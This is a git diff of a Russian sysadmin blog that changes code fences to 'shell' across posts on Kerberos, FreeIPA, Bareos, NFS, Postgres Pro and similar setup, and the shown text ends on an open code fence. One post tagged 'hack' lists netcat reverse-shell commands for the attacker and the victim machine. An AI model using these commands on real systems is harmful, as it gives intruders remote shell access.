Revert "remove shell"

This reverts commit 65914f8895.
This commit is contained in:
root 2023-09-24 18:58:33 +03:00
parent 65914f8895
commit c793b55750
26 changed files with 132 additions and 132 deletions

View File

@ -6,19 +6,19 @@ tags: [linux, astra, krb5]
--- ---
## Создания сетевой видимости ## Создания сетевой видимости
``` ```shell
<dc-ip> <dc-name>.<domain> <dc-name> <dc-ip> <dc-name>.<domain> <dc-name>
# /etc/hosts # /etc/hosts
``` ```
## Смена хостнейма ## Смена хостнейма
``` ```shell
hostnamectl set-hostname <dc-name>.<domain> hostnamectl set-hostname <dc-name>.<domain>
``` ```
## Добавление репозиториев ALD Pro ## Добавление репозиториев ALD Pro
``` ```shell
deb https://download.astralinux.ru/aldpro/stable/repository-main/ 1.0.0 main deb https://download.astralinux.ru/aldpro/stable/repository-main/ 1.0.0 main
deb https://download.astralinux.ru/aldpro/stable/repository-extended/ generic main deb https://download.astralinux.ru/aldpro/stable/repository-extended/ generic main
@ -26,7 +26,7 @@ deb https://download.astralinux.ru/aldpro/stable/repository-extended/ generic ma
``` ```
## Выставление приоритета репозиториев ## Выставление приоритета репозиториев
``` ```shell
Package: * Package: *
Pin: release n=generic Pin: release n=generic
Pin-Priority: 900 Pin-Priority: 900
@ -35,7 +35,7 @@ Pin-Priority: 900
``` ```
## Установка пакета ## Установка пакета
``` ```shell
DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp
``` ```
@ -43,7 +43,7 @@ DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp
После того, как команда развёртывания отработает и сервер перезагрузитcя, После того, как команда развёртывания отработает и сервер перезагрузитcя,
сервер ALD Pro будет доступен по адресу: https://\<dc-name\>.\<domain\> сервер ALD Pro будет доступен по адресу: https://\<dc-name\>.\<domain\>
``` ```shell
/opt/rbta/aldpro/mp/bin/aldpro-server-install.sh \ /opt/rbta/aldpro/mp/bin/aldpro-server-install.sh \
-d <domain> -n <dc-name> -p <password> --ip <dc-ip> -d <domain> -n <dc-name> -p <password> --ip <dc-ip>
``` ```

View File

@ -8,7 +8,7 @@ tags: [linux, astra, krb5, freeipa]
### Создания сетевой видимости ### Создания сетевой видимости
``` ```shell
<server-ip> <server-name>.<domain> <server-name> <server-ip> <server-name>.<domain> <server-name>
<client-ip> <client-name>.<domain> <client-name> <client-ip> <client-name>.<domain> <client-name>
@ -18,33 +18,33 @@ tags: [linux, astra, krb5, freeipa]
## Настройка cервера ## Настройка cервера
### Смена хостнейма ### Смена хостнейма
``` ```shell
hostnamectl set-hostname <server-name>.<domain> hostnamectl set-hostname <server-name>.<domain>
``` ```
### Установка пакета ### Установка пакета
``` ```shell
apt install fly-admin-freeipa-server -y apt install fly-admin-freeipa-server -y
``` ```
### Развёртывание ### Развёртывание
``` ```shell
astra-freeipa-server -d <domain> -n <server-name> -px -ip <server-ip> -o --dogtag -y astra-freeipa-server -d <domain> -n <server-name> -px -ip <server-ip> -o --dogtag -y
``` ```
## Настройка клиента ## Настройка клиента
### Смена хостнейма ### Смена хостнейма
``` ```shell
hostnamectl set-hostname <client-name>.<domain> hostnamectl set-hostname <client-name>.<domain>
``` ```
### Установка пакета ### Установка пакета
``` ```shell
apt install fly-admin-freeipa-client -y -px "--force" apt install fly-admin-freeipa-client -y -px "--force"
``` ```
### Конфигурация клиента ### Конфигурация клиента
``` ``` shell
astra-freeipa-client -d <domain> astra-freeipa-client -d <domain>
``` ```

View File

@ -7,25 +7,25 @@ tags: [linux, postgres, bareos, apache]
## Конфигурация Сервера ## Конфигурация Сервера
### Установка Bareos и PostgreSQL ### Установка Bareos и PostgreSQL
``` ```shell
curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash
apt update apt update
apt install postgresql bareos bareos-webui apt install postgresql bareos bareos-webui
``` ```
### Конфигурация БД ### Конфигурация БД
``` ```shell
dpkg-reconfigure bareos-database-common dpkg-reconfigure bareos-database-common
``` ```
### Включение сервисов Bareos, PostgreSQL и Apache ### Включение сервисов Bareos, PostgreSQL и Apache
``` ```shell
systemctl enable --now postgresql bareos-director bareos-filedaemon bareos-storage apache2 systemctl enable --now postgresql bareos-director bareos-filedaemon bareos-storage apache2
``` ```
### Создание пользователя для Bareos-webui и конфига клиента ### Создание пользователя для Bareos-webui и конфига клиента
Веб Bareos'а находится по адресу: [http://\<bareos-ip\>/bareos-webui/](http://localhost/bareos-webui/) Веб Bareos'а находится по адресу: [http://\<bareos-ip\>/bareos-webui/](http://localhost/bareos-webui/)
``` ```shell
bconsole bconsole
configure add console name=<web-user> password=<web-pass> profile=webui-admin tlsenable=no configure add console name=<web-user> password=<web-pass> profile=webui-admin tlsenable=no
configure add client name=<client-name> address=<client-ip> password=<client-pass> configure add client name=<client-name> address=<client-ip> password=<client-pass>
@ -34,7 +34,7 @@ exit
``` ```
### Бэкап определённой папки ### Бэкап определённой папки
``` ```shell
FileSet { FileSet {
Name = "<name>" Name = "<name>"
Description = "<description>" Description = "<description>"
@ -52,19 +52,19 @@ FileSet {
## Конфигурация клиента ## Конфигурация клиента
### Установка Bareos Filedaemon ### Установка Bareos Filedaemon
``` ```shell
curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash
apt update apt update
apt install bareos-filedaemon apt install bareos-filedaemon
``` ```
### Перенос конфига с сервера на клиент ### Перенос конфига с сервера на клиент
``` ```shell
scp <user>@<server-ip>:/etc/bareos/bareos-dir-export/client\ scp <user>@<server-ip>:/etc/bareos/bareos-dir-export/client\
/<client-name>/bareos-fd.d/director/bareos-dir.conf/etc/bareos/bareos-fd.d/director/ /<client-name>/bareos-fd.d/director/bareos-dir.conf/etc/bareos/bareos-fd.d/director/
``` ```
### Включение сервиса ### Включение сервиса
``` ```shell
systemctl enable --now bareos-filedaemon systemctl enable --now bareos-filedaemon
``` ```

View File

@ -5,12 +5,12 @@ date: 2023-05-12T18:10:00+05:00
tags: [linux, krb5] tags: [linux, krb5]
--- ---
## Установка пакета ## Установка пакета
``` ```shell
apt install cifs-utils -y apt install cifs-utils -y
``` ```
## Создание файла с данными УЗ ## Создание файла с данными УЗ
``` ```shell
username=<username> username=<username>
password=<password> password=<password>
domain=<domain> domain=<domain>
@ -19,24 +19,24 @@ domain=<domain>
``` ```
## Смена прав на файл с данными УЗ ## Смена прав на файл с данными УЗ
``` ```shell
sudo chmod 0400 /root/.smbuser sudo chmod 0400 /root/.smbuser
``` ```
## Развёртывание ## Развёртывание
``` ```shell
//<address> /<folder> cifs credentials=/root/.smbuser,uid=<uid>,gid=<gid> 0 0 //<address> /<folder> cifs credentials=/root/.smbuser,uid=<uid>,gid=<gid> 0 0
# /etc/fstab # /etc/fstab
``` ```
## Монтирование всех директорий ## Монтирование всех директорий
``` ```shell
mount -a mount -a
``` ```
## Монтирование ручками (необязательно) ## Монтирование ручками (необязательно)
``` ```shell
mount -t cifs //<address> /<folder> -o \ mount -t cifs //<address> /<folder> -o \
username=<username>,password=<password>,domain=<domain> username=<username>,password=<password>,domain=<domain>
``` ```

View File

@ -7,14 +7,14 @@ tags: [linux, krb5]
## Конфигурация сервера ## Конфигурация сервера
### Установка пакетов ### Установка пакетов
``` ```shell
apt -y install krb5-kdc krb5-admin-server apt -y install krb5-kdc krb5-admin-server
``` ```
## Конфигурация клиента ## Конфигурация клиента
### Установка пакетов ### Установка пакетов
``` ```shell
apt -y install krb5-user libpam-krb5 apt -y install krb5-user libpam-krb5
``` ```
@ -22,13 +22,13 @@ apt -y install krb5-user libpam-krb5
На сервере и клиенте надо проделать следующие шаги: На сервере и клиенте надо проделать следующие шаги:
### Смена hostname ### Смена hostname
``` ```shell
hostnamectl set-hostname <hostname> hostnamectl set-hostname <hostname>
``` ```
### Правка файла hosts ### Правка файла hosts
Вместо правки файла hosts можно поднять DNS-сервер и сделать записи там. Вместо правки файла hosts можно поднять DNS-сервер и сделать записи там.
``` ```shell
<server-ip> <server-name.domain.name> <server-name> <server-ip> <server-name.domain.name> <server-name>
<client-ip> <client-name.domain.name> <client-name> <client-ip> <client-name.domain.name> <client-name>
@ -36,7 +36,7 @@ hostnamectl set-hostname <hostname>
``` ```
### Редактирование конфига Kerberos ### Редактирование конфига Kerberos
``` ```shell
[libdefaults] [libdefaults]
default_realm = <DOMAIN.NAME> default_realm = <DOMAIN.NAME>
@ -58,29 +58,29 @@ hostnamectl set-hostname <hostname>
## Создание нового реалма (на сервере) ## Создание нового реалма (на сервере)
### Создание master key для БД krb5 ### Создание master key для БД krb5
``` ```shell
krb5_newrealm krb5_newrealm
``` ```
### Создание учётной записи администратора ### Создание учётной записи администратора
``` ```shell
kadmin.local kadmin.local
addprinc <admin-name>/admin addprinc <admin-name>/admin
quit quit
``` ```
### Разрешение административных прав ### Разрешение административных прав
``` ```shell
<admin-name>/admin <admin-name>/admin
# /etc/krb5kdc/kadm5.acl # /etc/krb5kdc/kadm5.acl
``` ```
## Получение билета ## Получение билета
``` ```shell
kinit <admin-name>\admin kinit <admin-name>\admin
``` ```
Проверяем наличие выданного билета: Проверяем наличие выданного билета:
``` ```shell
klist klist
``` ```

View File

@ -7,18 +7,18 @@ tags: [linux, nfs]
## Настройка NFS-сервера ## Настройка NFS-сервера
### Установка пакета ### Установка пакета
``` ```shell
apt -y install nfs-kernel-server apt -y install nfs-kernel-server
``` ```
### Создание каталога, который будет расшарен ### Создание каталога, который будет расшарен
``` ```shell
mkdir /nfs mkdir /nfs
chmod 777 /nfs chmod 777 /nfs
``` ```
### Разрешение сетевого доступа ### Разрешение сетевого доступа
``` ```shell
/nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check) /nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check)
# /etc/exports # /etc/exports
@ -27,17 +27,17 @@ chmod 777 /nfs
## Настройка NFS-клиента ## Настройка NFS-клиента
### Установка пакета ### Установка пакета
``` ```shell
apt -y install nfs-common apt -y install nfs-common
``` ```
### Запуск службы ### Запуск службы
``` ``` shell
systemctl enable --now rpcbind systemctl enable --now rpcbind
``` ```
### Автомонитрование ### Автомонитрование
``` ```shell
<server-ip>:/nfs /nfs nfs defaults 0 0 <server-ip>:/nfs /nfs nfs defaults 0 0
# /etc/fstab # /etc/fstab

View File

@ -7,18 +7,18 @@ tags: [vmware]
## Настройка NFS-сервера ## Настройка NFS-сервера
### Установка пакета ### Установка пакета
``` ```shell
apt install nfs-kernel-server apt install nfs-kernel-server
``` ```
### Создание каталога, который будет расшарен ### Создание каталога, который будет расшарен
``` ```shell
sudo mkdir /nfs sudo mkdir /nfs
sudo chmod 777 /nfs sudo chmod 777 /nfs
``` ```
### Разрешаем сетевой доступ ### Разрешаем сетевой доступ
``` ```shell
/nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check) /nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check)
# /etc/exports # /etc/exports
@ -27,16 +27,16 @@ sudo chmod 777 /nfs
## Настройка NFS-клиента ## Настройка NFS-клиента
### Установка пакета ### Установка пакета
``` ```shell
apt install nfs-common apt install nfs-common
``` ```
### Запуск службы ### Запуск службы
``` ``` shell
systemctl enable --now rpcbind systemctl enable --now rpcbind
``` ```
### Автомонитрование ### Автомонитрование
``` ```shell
<server-ip>:/nfs /nfs nfs defaults 0 0 <server-ip>:/nfs /nfs nfs defaults 0 0
``` ```

View File

@ -7,16 +7,16 @@ tags: [linux]
## Распаковка пакета ## Распаковка пакета
### Распаковка данных ### Распаковка данных
``` ```shell
dpkg -x "<package>.deb" <folder> dpkg -x "<package>.deb" <folder>
``` ```
### Распаковка метаданных ### Распаковка метаданных
``` ```shell
dpkg -e "<package>.deb" <folder>/DEBIAN dpkg -e "<package>.deb" <folder>/DEBIAN
``` ```
## Сборка пакета ## Сборка пакета
``` ```shell
dpkg -b <folder> "<package>.deb" dpkg -b <folder> "<package>.deb"
``` ```

View File

@ -5,26 +5,26 @@ date: 2022-11-25T13:58:10+05:00
tags: [linux, lvm] tags: [linux, lvm]
--- ---
## Установка пакекта ## Установка пакекта
``` ```shell
apt -y install lvm2 apt -y install lvm2
``` ```
## Создание ## Создание
``` ``` shell
pvcreate /dev/sda pvcreate /dev/sda
vgcreate vg-name /dev/sda vgcreate vg-name /dev/sda
lvcreate -L 10G -n lv-name vg-name lvcreate -L 10G -n lv-name vg-name
``` ```
## Изменение ## Изменение
``` ```shell
vgextend vg /dev/sdb vgextend vg /dev/sdb
lvresize -rL +1G /dev/vg-name/lv-name lvresize -rL +1G /dev/vg-name/lv-name
lvresize -rl +100%FREE /dev/vg-name/lv-name lvresize -rl +100%FREE /dev/vg-name/lv-name
``` ```
## Просмотр ## Просмотр
``` ```shell
pvs pvs
vgs vgs
lvs lvs

View File

@ -5,11 +5,11 @@ date: 2022-12-14T12:04:00+05:00
tags: [linux, postgres] tags: [linux, postgres]
--- ---
## Генерируем ключ ## Генерируем ключ
``` ```shell
ssh-keygen ssh-keygen
``` ```
## Копируем ключ ## Копируем ключ
``` ```shell
ssh-copy-id <username>@<server-ip> ssh-copy-id <username>@<server-ip>
``` ```

View File

@ -5,11 +5,11 @@ date: 2022-12-14T12:04:00+05:00
tags: [linux, ssh] tags: [linux, ssh]
--- ---
## Генерируем ключ ## Генерируем ключ
``` ```shell
ssh-keygen ssh-keygen
``` ```
## Копируем ключ ## Копируем ключ
``` ```shell
ssh-copy-id <username>@<server-ip> ssh-copy-id <username>@<server-ip>
``` ```

View File

@ -6,29 +6,29 @@ tags: [linux, postgres]
--- ---
## На старой версии (<=12) ## На старой версии (<=12)
Заходим в консоль Postgres: Заходим в консоль Postgres:
``` ```shell
psql psql
``` ```
Убиваем соединения с БД: Убиваем соединения с БД:
``` ```shell
SELECT pg_terminate_backend (pid) SELECT pg_terminate_backend (pid)
FROM pg_stat_activity FROM pg_stat_activity
WHERE pg_stat_activity.datname = '<database_name>'; WHERE pg_stat_activity.datname = '<database_name>';
``` ```
Дропаем БД: Дропаем БД:
``` ```shell
DROP DATABASE <database_name>; DROP DATABASE <database_name>;
``` ```
## На новой версии (>=13) ## На новой версии (>=13)
Заходим в консоль Postgres: Заходим в консоль Postgres:
``` ```shell
psql psql
``` ```
Дропаем БД: Дропаем БД:
``` ``` shell
DROP DATABASE <database_name> WITH (FORCE); DROP DATABASE <database_name> WITH (FORCE);
``` ```

View File

@ -11,7 +11,7 @@ tags: [linux, postgres, krb5]
## Конфигурация сервера Kerberos ## Конфигурация сервера Kerberos
### Добавление принципиала Postgres Pro ### Добавление принципиала Postgres Pro
``` ```shell
kadmin.local kadmin.local
addprinc <username> addprinc <username>
addprinc postgres addprinc postgres
@ -20,7 +20,7 @@ q
``` ```
### Экспорт субъекта-службы ### Экспорт субъекта-службы
``` ```shell
ktutil ktutil
add_entry -password -p postgres/<pg-hostname>@<DOMAIN.NAME> -k 1 -e aes256-cts-hmac-sha1-96 add_entry -password -p postgres/<pg-hostname>@<DOMAIN.NAME> -k 1 -e aes256-cts-hmac-sha1-96
wkt postgres.keytab wkt postgres.keytab
@ -30,21 +30,21 @@ q
### Перенос субъекта-службы на сервер Postgres Pro ### Перенос субъекта-службы на сервер Postgres Pro
Перенести keytab можно как угодно, главное, чтобы он находился в папке с конфигурационными файлами Postgres Pro. Перенести keytab можно как угодно, главное, чтобы он находился в папке с конфигурационными файлами Postgres Pro.
Я перенесу с помощью команды scp: Я перенесу с помощью команды scp:
``` ```shell
scp postgres.keytab postgres@<pg-hostname>:/var/lib/pgpro/std-13/data/ scp postgres.keytab postgres@<pg-hostname>:/var/lib/pgpro/std-13/data/
``` ```
## Конфигурация сервера Postgres Pro ## Конфигурация сервера Postgres Pro
### Включение ранее перенесённого keytab ### Включение ранее перенесённого keytab
``` ```shell
ktutil ktutil
read_kt postgres.keytab read_kt postgres.keytab
q q
``` ```
### Изменение конфигруационного файла Postgres Pro ### Изменение конфигруационного файла Postgres Pro
``` ```shell
krb_server_keyfile = 'postgres.keytab' krb_server_keyfile = 'postgres.keytab'
listen_addresses = 'localhost, <pg-ip>' listen_addresses = 'localhost, <pg-ip>'
@ -52,7 +52,7 @@ listen_addresses = 'localhost, <pg-ip>'
``` ```
### Разрешение подключения ### Разрешение подключения
``` ```shell
hostgssenc all postgres localhost/32 gss include_realm=0 hostgssenc all postgres localhost/32 gss include_realm=0
hostgssenc <database> <username> <client-ip>/32 gss include_realm=0 hostgssenc <database> <username> <client-ip>/32 gss include_realm=0
@ -60,18 +60,18 @@ hostgssenc <database> <username> <client-ip>/32 gss include_realm=0
``` ```
### Получение тикета от Kerberos ### Получение тикета от Kerberos
``` ```shell
kinit postgres kinit postgres
``` ```
## Конфигурация клиента ## Конфигурация клиента
### Получение тикета от Kerberos ### Получение тикета от Kerberos
``` ```shell
kinit <username> kinit <username>
``` ```
### Подключение к Postgres Pro ### Подключение к Postgres Pro
``` ```shell
psql -d <database> -h <pg-hostname> -U <username> psql -d <database> -h <pg-hostname> -U <username>
``` ```

View File

@ -10,17 +10,17 @@ AD необходимо дать роль CA и выпустить сертиф
## Перенос сертификата ## Перенос сертификата
Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой: Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой:
``` ```shell
openssl x509 -inform der -in <ad>.cer -out <ad>.pem openssl x509 -inform der -in <ad>.cer -out <ad>.pem
``` ```
## Установка пакета ldap-utils ## Установка пакета ldap-utils
``` ```shell
apt install ldap-utils -y apt install ldap-utils -y
``` ```
## Правка ldap конфига ## Правка ldap конфига
``` ```shell
TLS_CACERT /etc/ldap/<ad>.pem TLS_CACERT /etc/ldap/<ad>.pem
BASE dc=<domain>,dc=<local> BASE dc=<domain>,dc=<local>
URI ldaps://<dc>.<domain>.<local>:636 URI ldaps://<dc>.<domain>.<local>:636
@ -29,26 +29,26 @@ URI ldaps://<dc>.<domain>.<local>:636
``` ```
## Проверка ldap ## Проверка ldap
``` ```shell
ldapsearch -x -b "dc=<domain>,dc=<local>" \ ldapsearch -x -b "dc=<domain>,dc=<local>" \
-H ldaps://<dc>.<domain>.<local>:636 -W -D <domain-user> -H ldaps://<dc>.<domain>.<local>:636 -W -D <domain-user>
``` ```
## Правка pg_hba.conf ## Правка pg_hba.conf
С ldapprefix/ldapsuffix, возможно, придётся поколдовать. Стоит попробовать их оставить пустыми (=""). С ldapprefix/ldapsuffix, возможно, придётся поколдовать. Стоит попробовать их оставить пустыми (="").
``` ```shell
host <database> <user> <ip>/<mask> ldap ldapserver=<dc>.<domain>.<local> ldapscheme=ldaps ldapprefix="cn=" ldapsuffix=",cn=users,dc=<domain>,dc=<local>" host <database> <user> <ip>/<mask> ldap ldapserver=<dc>.<domain>.<local> ldapscheme=ldaps ldapprefix="cn=" ldapsuffix=",cn=users,dc=<domain>,dc=<local>"
# /var/lib/pgpro/std-14/data/pg_hba.conf # /var/lib/pgpro/std-14/data/pg_hba.conf
``` ```
## Создание пользователя в Postgres ## Создание пользователя в Postgres
``` ```shell
psql -c "CREATE USER <domain-user>;" psql -c "CREATE USER <domain-user>;"
``` ```
## Перезапуск Postgres Pro ## Перезапуск Postgres Pro
``` ```shell
systemctl restart postgres* systemctl restart postgres*
``` ```

View File

@ -5,31 +5,31 @@ date: 2022-11-25T16:20:00+05:00
tags: [linux, astra, postgres] tags: [linux, astra, postgres]
--- ---
## Добавление репозитория ## Добавление репозитория
``` ``` shell
apt -y install gnupg apt -y install gnupg
wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add - wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add -
echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main" \ echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main" \
> /etc/apt/sources.list.d/pgpro.list > /etc/apt/sources.list.d/pgpro.list
``` ```
## Установка пакета ## Установка пакета
``` ```shell
apt update apt update
apt -y install postgrespro-std-14 apt -y install postgrespro-std-14
``` ```
## systemd ## systemd
``` ```shell
/opt/pgpro/std-14/bin/pg-setup service enable --now /opt/pgpro/std-14/bin/pg-setup service enable --now
ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service
``` ```
## Обновление путей ## Обновление путей
``` ```shell
/opt/pgpro/std-14/bin/pg-wrapper links update /opt/pgpro/std-14/bin/pg-wrapper links update
``` ```
## Смена пароля postgres ## Смена пароля postgres
``` ```shell
su - postgres su - postgres
psql -c "ALTER USER postgres PASSWORD '<password>';" psql -c "ALTER USER postgres PASSWORD '<password>';"
``` ```

View File

@ -12,25 +12,25 @@ tags: [linux, postgres, nfs]
### Конфигурация master ### Конфигурация master
Действия с Postgres Pro следует выполнять от имени пользователя postgres. Действия с Postgres Pro следует выполнять от имени пользователя postgres.
``` ```shell
su - postgres su - postgres
``` ```
#### Создание пользователя для репликации #### Создание пользователя для репликации
``` ```shell
psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '<password>';" psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '<password>';"
``` ```
#### Разрешение подключения для slave #### Разрешение подключения для slave
Дописываем в конец файла: Дописываем в конец файла:
``` ```shell
host replication repuser <slave-ip>/32 md5 host replication repuser <slave-ip>/32 md5
# /var/lib/pgpro/std-13/data/pg_hba.conf # /var/lib/pgpro/std-13/data/pg_hba.conf
``` ```
#### Реконфигурация #### Реконфигурация
``` ```shell
listen_addresses = 'localhost, <master-ip>' listen_addresses = 'localhost, <master-ip>'
wal_level = hot_standby wal_level = hot_standby
archive_mode = on archive_mode = on
@ -42,14 +42,14 @@ hot_standby = on
``` ```
#### Перезапуск Postgres Pro #### Перезапуск Postgres Pro
``` ```shell
systemctl restart postgres systemctl restart postgres
``` ```
### Настройка slave ### Настройка slave
#### Выгрузка файлов с master #### Выгрузка файлов с master
``` ```shell
rm -rf /var/lib/pgpro/std-13/data/* rm -rf /var/lib/pgpro/std-13/data/*
pg_basebackup -P -R -X stream -c fast -h <master-ip> -U postgres -D \ pg_basebackup -P -R -X stream -c fast -h <master-ip> -U postgres -D \
/var/lib/pgpro/std-13/data /var/lib/pgpro/std-13/data
@ -63,7 +63,7 @@ WAL-архивы будут складываться на NFS. Как сконф
Необходимо смонтировать NFS на master и slave в одинаковые директории. Необходимо смонтировать NFS на master и slave в одинаковые директории.
### Дополнение к реконфигурации ### Дополнение к реконфигурации
``` ```shell
archive_command = 'test ! -f /nfs/%f && cp %p /nfs/%f' archive_command = 'test ! -f /nfs/%f && cp %p /nfs/%f'
archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log' archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log'
@ -74,7 +74,7 @@ archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log'
При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу. При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу.
По умолчанию репликация работает в асинхронном режиме. По умолчанию репликация работает в асинхронном режиме.
Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro: Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro:
``` ```shell
synchronous_commit = on synchronous_commit = on
synchronous_standby_names = 'pgsql_0_node_0' synchronous_standby_names = 'pgsql_0_node_0'

View File

@ -5,7 +5,7 @@ date: 2022-12-14T16:48:00+05:00
tags: [linux, postgres] tags: [linux, postgres]
--- ---
## Скрипт для бэкапа БД и глобальных объектов ## Скрипт для бэкапа БД и глобальных объектов
``` ```shell
#!/usr/bin/env bash #!/usr/bin/env bash
pg_dump -U <username> -h <pg-hostname> -Fc <db> --file=<db>-$(date '+%Y-%m-%d').dump pg_dump -U <username> -h <pg-hostname> -Fc <db> --file=<db>-$(date '+%Y-%m-%d').dump
pg_dumpall -U <username> -h <pg-hostname> --globals --file=gb-$(date '+%Y-%m-%d').dump pg_dumpall -U <username> -h <pg-hostname> --globals --file=gb-$(date '+%Y-%m-%d').dump
@ -14,14 +14,14 @@ pg_dumpall -U <username> -h <pg-hostname> --globals --file=gb-$(date '+%Y-%m-%d'
``` ```
## Файл cron с запуском скрипта (каждый день в 2:00) ## Файл cron с запуском скрипта (каждый день в 2:00)
``` ```shell
0 2 * * * /usr/bin/env bash /home/<username>/pg-backup.sh 0 2 * * * /usr/bin/env bash /home/<username>/pg-backup.sh
# crontab -e -u <username> # crontab -e -u <username>
``` ```
## Рестор файлов БД и глобальных объектов ## Рестор файлов БД и глобальных объектов
``` ```shell
pg_restore -C -d postgres <dbname>-<date>.dump pg_restore -C -d postgres <dbname>-<date>.dump
psql -U postgres < gb-<date>.dump psql -U postgres < gb-<date>.dump
``` ```

View File

@ -7,12 +7,12 @@ tags: [linux, postgres, tls]
## Создание сертификата ## Создание сертификата
В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт. В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт.
Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro. Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro.
``` ``` shell
openssl req -x509 -newkey rsa:4096 -keyout <key>.pem -out <cert>.pem -sha256 -days 365 openssl req -x509 -newkey rsa:4096 -keyout <key>.pem -out <cert>.pem -sha256 -days 365
``` ```
## Включение TLS ## Включение TLS
``` ``` shell
ssl = on ssl = on
ssl_cert_file = '<cert>.pem' ssl_cert_file = '<cert>.pem'
ssl_key_file = '<key>.pem' ssl_key_file = '<key>.pem'
@ -22,7 +22,7 @@ listen_addresses = 'localhost, <master-ip>'
``` ```
## Разрешение доступа через TLS ## Разрешение доступа через TLS
``` ```shell
hostssl <user> <database> <client-ip> scram-sha-256 hostssl <user> <database> <client-ip> scram-sha-256
# /var/lib/pgpro/std-13/data/pg_hba.conf # /var/lib/pgpro/std-13/data/pg_hba.conf
@ -30,12 +30,12 @@ hostssl <user> <database> <client-ip> scram-sha-256
## (ре)Генерация пароля ## (ре)Генерация пароля
В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль: В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль:
``` ```shell
psql -c \password psql -c \password
``` ```
## Перезапуск Postgres Pro ## Перезапуск Postgres Pro
``` ```shell
systemctl restart postgres* systemctl restart postgres*
``` ```

View File

@ -5,16 +5,16 @@ date: 2022-12-09T15:02:00+05:00
tags: [linux, ssh, hack] tags: [linux, ssh, hack]
--- ---
## Машина атакующего ## Машина атакующего
``` ```shell
nc -lvp <port> nc -lvp <port>
``` ```
## Машина жертвы (Traditional Netcat) ## Машина жертвы (Traditional Netcat)
``` ```shell
nc <attacker-ip> <port> -e /bin/bash nc <attacker-ip> <port> -e /bin/bash
``` ```
## Машина жертвы (OpenBSD Netcat) ## Машина жертвы (OpenBSD Netcat)
``` ```shell
mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev \ mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev \
| /bin/bash 2>&1 | tee /tmp/rev > /dev/null | /bin/bash 2>&1 | tee /tmp/rev > /dev/null
``` ```

View File

@ -16,20 +16,20 @@ tags: [linux, ruby, gcc]
## Установка пакетов для сборки (и не только) ## Установка пакетов для сборки (и не только)
``` ```shell
apt -y install wget unzip gcc make autoconf \ apt -y install wget unzip gcc make autoconf \
squashfs-tools libtool bison gnupg squashfs-tools libtool bison gnupg
``` ```
## Установка ruby (из пакета) ## Установка ruby (из пакета)
``` ```shell
apt -y install ruby ruby-dev apt -y install ruby ruby-dev
``` ```
## Установка ruby (из исходников) ## Установка ruby (из исходников)
``` ```shell
wget -P /tmp https://cache.ruby-lang.org/pub/ruby/<ver.sion>/ruby-<ve.rsi.on>.tar.gz wget -P /tmp https://cache.ruby-lang.org/pub/ruby/<ver.sion>/ruby-<ve.rsi.on>.tar.gz
tar -C /tmp -xvf /tmp/ruby-*.tar.gz tar -C /tmp -xvf /tmp/ruby-*.tar.gz
cd /tmp/ruby-*/ cd /tmp/ruby-*/
@ -40,7 +40,7 @@ make install
## Установка rubyc (форк, 3.1.3, рекомендую) ## Установка rubyc (форк, 3.1.3, рекомендую)
``` ```shell
wget -P /tmp https://github.com/ericbeland/ruby-packer/releases/download/3_1_3/linux-amd64.zip wget -P /tmp https://github.com/ericbeland/ruby-packer/releases/download/3_1_3/linux-amd64.zip
unzip /tmp/linux-amd64.zip -d /tmp unzip /tmp/linux-amd64.zip -d /tmp
mv /tmp/linux-amd64/rubyc /usr/local/bin mv /tmp/linux-amd64/rubyc /usr/local/bin
@ -49,14 +49,14 @@ chmod +x /usr/local/bin/rubyc
## Установка rubyc (unstable, 2.7, не рекомендую) ## Установка rubyc (unstable, 2.7, не рекомендую)
``` ```shell
wget -P /usr/local/bin https://github.com/pmq20/ruby-packer/releases/download/linux-x64/rubyc wget -P /usr/local/bin https://github.com/pmq20/ruby-packer/releases/download/linux-x64/rubyc
chmod +x /usr/local/bin/rubyc chmod +x /usr/local/bin/rubyc
``` ```
## Установка rubyc (stable, 2.4, не рекомендую) ## Установка rubyc (stable, 2.4, не рекомендую)
``` ```shell
